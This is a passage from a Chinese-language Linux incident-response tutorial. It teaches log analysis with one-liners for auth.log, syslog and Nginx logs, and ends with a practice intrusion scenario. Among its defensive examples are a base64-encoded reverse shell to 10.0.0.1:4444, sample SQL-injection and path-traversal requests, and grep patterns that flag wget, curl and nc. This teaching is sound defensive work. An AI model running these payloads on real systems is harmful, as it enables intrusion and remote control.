zgrep "Failed password" /var/log/auth.log.*.gz

# 合并搜索(一条命令搜索所有)
zgrep "Failed password" /var/log/auth.log*

应急响应时,千万不要忘记搜索历史轮转日志!攻击可能发生在数天甚至数周前

7.3 日志篡改检测技术

方法一:时间戳连续性检测

1
2
3
4
# 提取所有时间戳,检查是否有跳跃
awk '{print $1,$2,$3}' /var/log/auth.log | head -50

# 如果发现时间戳突然跳跃(如从 02:30 跳到 06:00),中间的日志可能被删除

方法二:文件属性异常检测

1
2
3
4
5
6
7
8
9
10
11
# 查看文件详细属性
stat /var/log/auth.log

# 关注:
# - Modify time(内容修改时间)
# - Change time(属性修改时间)
# - 如果 Modify > Change,文件可能被 touch 修改过时间戳

# 检查文件大小变化
ls -la /var/log/auth.log
# 如果文件异常小(比如只有几KB),可能被清空后重建

方法三:inode 号变化检测

1
2
3
4
5
6
# 查看 inode 号
ls -i /var/log/auth.log

# 正常情况下,日志文件的 inode 不应该突然变化
# 如果 inode 变了,说明文件被删除后重新创建
# 可以与备份或 AIDE/Tripwire 数据库对比

方法四:与远程日志对比

1
2
3
4
5
6
# 如果配置了远程 syslog 服务器,对比两边的日志
# 本地缺少的记录 = 被攻击者删除的记录

# 远程 syslog 配置示例(/etc/rsyslog.conf)
# *.* @@remote-syslog-server:514 # TCP
# *.* @remote-syslog-server:514 # UDP

方法五:SELinux 上下文变化

1
2
3
4
5
# 查看文件的 SELinux 上下文
ls -Z /var/log/auth.log

# 正常应该是:system_u:object_r:var_log_t:s0
# 如果上下文被改变,说明文件被非正常操作

方法六:交叉验证

1
2
3
4
5
6
7
8
# auth.log vs wtmp 交叉验证
# 在 auth.log 中查找登录记录
grep "Accepted" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

# 在 wtmp 中查找登录记录
last -F

# 两者应该一致 —— 不一致说明某个被篡改了

8. 常用日志分析 One-Liners

以下是应急响应中最常用的日志分析单行命令,每一条都在实战中验证过

8.1 SSH 暴力破解 IP Top 20

1
2
3
4
5
6
# 提取所有暴力破解的源 IP,按出现次数排序
grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | \
sort | uniq -c | sort -rn | head -20
# 说明:$(NF-3) 提取倒数第4个字段(即 IP 地址)
# NF = Number of Fields,NF-3 就是从后数第4个

8.2 SSH 暴力破解 — 被尝试的用户名 Top 20

1
2
3
4
grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-5)}' | \
sort | uniq -c | sort -rn | head -20
# 高频出现 root, admin, test, oracle 等是典型的字典攻击

8.3 成功登录时间线

1
2
3
4
5
# 列出所有成功的 SSH 登录,包含时间、用户、IP
grep "Accepted" /var/log/auth.log | \
awk '{print $1,$2,$3,$9,$11}' | \
column -t
# 输出格式:日期 时间 用户名 来源IP

8.4 无效用户登录尝试统计

1
2
3
4
grep "Invalid user" /var/log/auth.log | \
awk '{print $8}' | \
sort | uniq -c | sort -rn | head -20
# 查看攻击者在尝试哪些用户名

8.5 sudo 命令审计

1
2
3
4
5
6
# 提取所有 sudo 执行记录:谁在什么时候执行了什么命令
grep "sudo:" /var/log/auth.log | \
grep "COMMAND=" | \
awk -F: '{print $1":"$2":"$3, $4}' | \
sed 's/sudo://'
# 重点关注:非管理员用户的 sudo、敏感命令(如 /bin/bash, chmod, chown)

8.6 非法 sudo 尝试

1
2
3
# 查找没有 sudo 权限却尝试使用的用户
grep "NOT in sudoers" /var/log/auth.log
# 如果频繁出现 —— 攻击者在尝试提权

8.7 用户创建和删除记录

1
2
3
4
5
6
7
8
9
10
11
# 查找所有用户创建记录
grep -E "useradd|adduser" /var/log/auth.log

# 查找所有用户删除记录
grep -E "userdel|deluser" /var/log/auth.log

# 查找用户修改记录(加组、改 shell 等)
grep "usermod" /var/log/auth.log

# 查找密码修改记录
grep "passwd" /var/log/auth.log | grep "password changed"

8.8 计划任务执行记录

1
2
3
4
5
6
7
8
# Ubuntu
grep "CRON" /var/log/syslog | tail -50

# CentOS
grep "CMD" /var/log/cron | tail -50

# 查找可疑的 cron 命令
grep "CRON" /var/log/syslog | grep -iE "wget|curl|bash|python|perl|nc |/tmp|/dev/shm"

8.9 服务启停记录

1
2
3
4
5
6
# 查看所有服务状态变化
grep -E "Started|Stopped|Failed" /var/log/syslog | \
grep -v "session" | tail -50

# 用 journalctl 查看更精确
journalctl --since "2024-01-15" | grep -E "Started|Stopped|Failed"

8.10 按小时统计登录失败次数

1
2
3
4
5
6
7
8
# 发现攻击时间窗口
grep "Failed password" /var/log/auth.log | \
awk '{print $1,$2,substr($3,1,2)":00"}' | \
sort | uniq -c | sort -rn
# 输出示例:
# 1523 Jan 15 02:00 ← 凌晨2点有1523次失败,明显的暴力破解
# 12 Jan 15 09:00 ← 正常时段少量失败
# 3 Jan 15 14:00

8.11 提取日志中所有 IP 地址

1
2
3
4
# 提取所有出现的 IPv4 地址
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /var/log/auth.log | \
sort | uniq -c | sort -rn | head -30
# 可以快速发现异常的外部 IP

8.12 检测日志中的 Base64 编码内容

1
2
3
4
5
6
# 查找可能的 Base64 编码命令(长度 > 20 的纯 Base64 字符串)
grep -oE "[A-Za-z0-9+/]{20,}={0,2}" /var/log/syslog | head -20

# 解码可疑的 Base64 字符串
echo "c2ggLWkgPjYgL2Rldi90Y3AvMTAuMC4wLjEvNDQ0NCAwPiYxIDI+JjE=" | base64 -d
# 输出:sh -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>&1 ← 反弹 shell!

8.13 查找 SSH 密钥认证记录

1
2
3
4
# 查看所有密钥登录
grep "Accepted publickey" /var/log/auth.log | \
awk '{print $1,$2,$3,$9,$11,$16}'
# 可以看到使用了哪个密钥(指纹),追踪具体是哪个密钥被盗用

8.14 查找 su 切换记录

1
2
# 所有 su 切换(成功+失败)
grep -E "su:|su\[" /var/log/auth.log | grep -E "Successful|FAILED|session"

8.15 综合时间线生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 生成入侵时间线:合并多种关键事件,按时间排序
grep -hE "Accepted|Failed password|useradd|usermod|passwd|sudo:|su:" \
/var/log/auth.log | \
sort -k1,3 | \
awk '{
if (/Accepted/) tag="[LOGIN-OK]";
else if (/Failed/) tag="[LOGIN-FAIL]";
else if (/useradd/) tag="[USER-ADD]";
else if (/usermod/) tag="[USER-MOD]";
else if (/passwd/) tag="[PASSWD]";
else if (/sudo/) tag="[SUDO]";
else if (/su:/) tag="[SU]";
else tag="[OTHER]";
print $1,$2,$3, tag, $0
}'
# 这条命令会生成一个带标签的事件时间线,非常适合快速梳理攻击过程

8.16 统计每个用户的登录次数

1
2
3
4
5
grep "session opened" /var/log/auth.log | \
awk -F'for user ' '{print $2}' | \
awk '{print $1}' | \
sed 's/(uid=.*//' | \
sort | uniq -c | sort -rn

8.17 查找非标准端口的 SSH 连接

1
2
3
4
# 如果攻击者从高端口连入,可能使用了代理或跳板
grep "Accepted" /var/log/auth.log | \
awk '{for(i=1;i<=NF;i++) if($i=="port") print $(i+1)}' | \
sort -n | uniq -c | sort -rn | head -20

8.18 检测 PAM 认证失败

1
2
3
4
5
grep "authentication failure" /var/log/auth.log | \
awk -F'rhost=' '{print $2}' | \
awk '{print $1}' | \
sort | uniq -c | sort -rn | head -20
# 直接从 PAM 日志中提取攻击源 IP

9. Web 服务日志简介

Web 日志分析是一个大话题,这里只做简要介绍。详细内容见 12-Nginx与Apache应急

9.1 Apache / Nginx Access Log 格式

Combined Log Format(最常见的格式):

1
10.0.0.100 - admin [15/Jan/2024:10:30:00 +0800] "GET /index.html HTTP/1.1" 200 1234 "http://example.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

各字段含义:

字段 示例 说明
客户端 IP 10.0.0.100 请求来源
身份标识 - 通常为空
认证用户 admin HTTP 认证用户名
时间戳 [15/Jan/2024:10:30:00 +0800] 请求时间
请求行 "GET /index.html HTTP/1.1" 方法 + URI + 协议
状态码 200 HTTP 响应码
响应大小 1234 字节数
Referer "http://example.com/" 来源页面
User-Agent "Mozilla/5.0 ..." 客户端标识

Nginx 默认日志位置:/var/log/nginx/access.log

Apache 默认日志位置:/var/log/apache2/access.log(Ubuntu)或 /var/log/httpd/access_log(CentOS)

9.2 常见攻击模式在日志中的表现

SQL 注入

1
2
10.0.0.200 - - [15/Jan/2024:11:00:00 +0800] "GET /search?q=1' UNION SELECT username,password FROM users-- HTTP/1.1" 200 5678
10.0.0.200 - - [15/Jan/2024:11:00:01 +0800] "GET /login?id=1' OR '1'='1 HTTP/1.1" 200 1234

关键词:UNION, SELECT, OR 1=1, '--, DROP TABLE, INFORMATION_SCHEMA

检测命令:

1
grep -iE "union.*select|or.*1.*=.*1|information_schema|drop\s+table" /var/log/nginx/access.log

目录遍历

1
10.0.0.200 - - [15/Jan/2024:11:01:00 +0800] "GET /download?file=../../../etc/passwd HTTP/1.1" 200 1567

关键词:../, ..%2f, ..%5c, /etc/passwd, /etc/shadow

检测命令:

1
grep -iE "\.\./|\.\.%2f|etc/passwd|etc/shadow" /var/log/nginx/access.log

Webshell 访问

1
2
10.0.0.200 - - [15/Jan/2024:11:02:00 +0800] "POST /uploads/shell.php HTTP/1.1" 200 234
10.0.0.200 - - [15/Jan/2024:11:02:01 +0800] "POST /images/cmd.jsp HTTP/1.1" 200 567

特征:对 .php/.jsp/.asp 文件发起 POST 请求,返回 200

检测命令:

1
grep "POST" /var/log/nginx/access.log | grep -iE "\.php|\.jsp|\.asp" | grep " 200 "

扫描器行为

1
2
3
4
5
10.0.0.200 - - [15/Jan/2024:11:03:00 +0800] "GET /admin/ HTTP/1.1" 404 162
10.0.0.200 - - [15/Jan/2024:11:03:00 +0800] "GET /wp-admin/ HTTP/1.1" 404 162
10.0.0.200 - - [15/Jan/2024:11:03:00 +0800] "GET /phpmyadmin/ HTTP/1.1" 404 162
10.0.0.200 - - [15/Jan/2024:11:03:01 +0800] "GET /.env HTTP/1.1" 404 162
10.0.0.200 - - [15/Jan/2024:11:03:01 +0800] "GET /actuator/health HTTP/1.1" 404 162

特征:短时间大量 404,请求常见敏感路径

检测命令:

1
2
3
4
5
6
7
8
# 统计 404 最多的 IP
awk '$9 == "404" {print $1}' /var/log/nginx/access.log | \
sort | uniq -c | sort -rn | head -10

# 异常 User-Agent
awk -F'"' '{print $6}' /var/log/nginx/access.log | \
sort | uniq -c | sort -rn | head -20
# 注意:sqlmap, nikto, dirsearch, gobuster 等工具有默认 UA

10. 实战练习

场景描述

你是某公司的安全工程师。今天上午 10:00,安全监控平台发出告警:内网服务器 prod-web-01(IP: 192.168.1.10)检测到异常外连行为,目标为境外 IP 45.33.32.156 的 4444 端口。请使用日志分析技能完成以下排查任务。

任务一:从 auth.log 中找出所有暴力破解的源 IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 步骤1:统计失败登录的源 IP
grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | \
sort | uniq -c | sort -rn | head -20

# 步骤2:关注失败次数 > 10 的 IP(可能是暴力破解)
grep "Failed password" /var/log/auth.log | \
awk '{print $(NF-3)}' | \
sort | uniq -c | sort -rn | \
awk '$1 > 10 {print $0}'

# 步骤3:同时检查压缩的历史日志
zgrep "Failed password" /var/log/auth.log.*.gz | \
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | \
sort | uniq -c | sort -rn | head -20

任务二:确定攻击者是否成功登录

1
2
3
4
5
6
7
8
9
10
11
12
13
# 步骤1:查看所有成功登录记录
grep "Accepted" /var/log/auth.log | \
awk '{print $1,$2,$3,$9,$11}'

# 步骤2:对比暴力破解 IP 和成功登录 IP
# 假设发现暴力破解 IP 为 203.0.113.100
grep "Accepted" /var/log/auth.log | grep "203.0.113.100"

# 步骤3:确认登录时间和方式
grep "203.0.113.100" /var/log/auth.log | grep -E "Accepted|session opened"

# 步骤4:交叉验证 wtmp
last -F | grep "203.0.113.100"

任务三:追踪攻击者登录后的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 步骤1:确定攻击者登录后的时间窗口
# 假设攻击者在 02:13:33 登录,查看此后的所有 sudo 记录
grep "sudo:" /var/log/auth.log | \
awk -v start="02:13" '$3 >= start {print}'

# 步骤2:查看命令执行记录
grep "COMMAND=" /var/log/auth.log | \
awk -v start="02:13" '$3 >= start {print}'

# 步骤3:检查系统日志中的异常
grep -E "02:1[3-9]|02:[2-5]" /var/log/syslog | \
grep -iE "cron|wget|curl|bash|service|systemctl"

# 步骤4:查看攻击者的 bash history(如果还在)
# 先找到攻击者使用的用户的家目录
cat /home/admin/.bash_history

任务四:检查是否有新建用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 步骤1:查看用户创建日志
grep -E "useradd|adduser|new user" /var/log/auth.log

# 步骤2:查看用户组修改
grep "usermod" /var/log/auth.log

# 步骤3:对比 /etc/passwd 的最新修改时间
stat /etc/passwd
stat /etc/shadow

# 步骤4:查看最近添加的用户(UID > 1000 的普通用户)
awk -F: '$3 >= 1000 && $3 < 65534 {print $1,$3,$6,$7}' /etc/passwd

# 步骤5:检查 /etc/sudoers 和 sudoers.d
cat /etc/sudoers
ls -la /etc/sudoers.d/
stat /etc/sudoers

任务五:检查日志是否被篡改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 步骤1:检查日志文件属性
stat /var/log/auth.log
stat /var/log/syslog
stat /var/log/wtmp
stat /var/log/btmp

# 步骤2:检查文件大小是否异常
ls -la /var/log/auth.log /var/log/syslog /var/log/wtmp /var/log/btmp

# 步骤3:检查时间戳连续性
awk '{print $1,$2,$3}' /var/log/auth.log | uniq | head -100
# 观察时间戳是否有大段跳跃

# 步骤4:交叉验证
# auth.log 的登录记录数 vs wtmp 的登录记录数
echo "=== auth.log 登录次数 ==="
grep -c "Accepted" /var/log/auth.log
echo "=== wtmp 登录次数 ==="
last | grep -c "pts/"
# 如果数量差异很大,说明有一方被篡改

# 步骤5:检查 inode 是否异常
ls -i /var/log/auth.log /var/log/syslog

# 步骤6:检查是否有清日志的痕迹
grep -E "truncat|echo.*>.*log|cat /dev/null" /var/log/auth.log
# 攻击者有时候不小心会把清日志的命令本身也记录到日志里

排查报告模板

完成以上任务后,应形成如下格式的排查报告:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
╔══════════════════════════════════════════════╗
║ 应急响应 - 日志分析报告 ║
╠══════════════════════════════════════════════╣
║ 服务器:prod-web-01 (192.168.1.10) ║
║ 分析时间:2024-01-15 10:00 ~ 12:00
║ 分析员:xxx ║
╠══════════════════════════════════════════════╣
1. 攻击源 IP203.0.113.100
2. 攻击方式:SSH 暴力破解 ║
3. 暴力破解时间:02:13:01 ~ 02:13:33
4. 失败次数:11次 ║
5. 成功时间:02:13:33
6. 被攻破账号:admin ║
7. 攻击者操作: ║
║ - 02:14:05 sudo 获取 root ║
║ - 02:15:22 创建后门用户 support
║ - 02:15:30 将 support 加入 sudo 组 ║
8. 日志完整性:未发现明显篡改痕迹 ║
9. 处置建议: ║
║ - 立即禁用 admin 和 support 账号 ║
║ - 修改所有用户密码 ║
║ - 排查是否有其他后门 ║
║ - 阻断 203.0.113.100 的访问 ║
╚══════════════════════════════════════════════╝

练习要点回顾

日志分析的核心思路是 **”四看”**:

看来源:谁发起的操作(IP、用户)

看时间:什么时候发生的(建立时间线)

看行为:做了什么操作(登录、提权、创建用户)

看完整性:日志是否被篡改(交叉验证)

日志分析是应急响应的基础中的基础,后续章节的排查都会大量使用本章的技能

下一章:Linux应急响应/04-进程与网络排查 — 当日志不足以还原全貌时,需要从活跃进程和网络连接中找线索


上一章 目录 下一章
02-排查命令速查 Linux应急响应 04-账户安全排查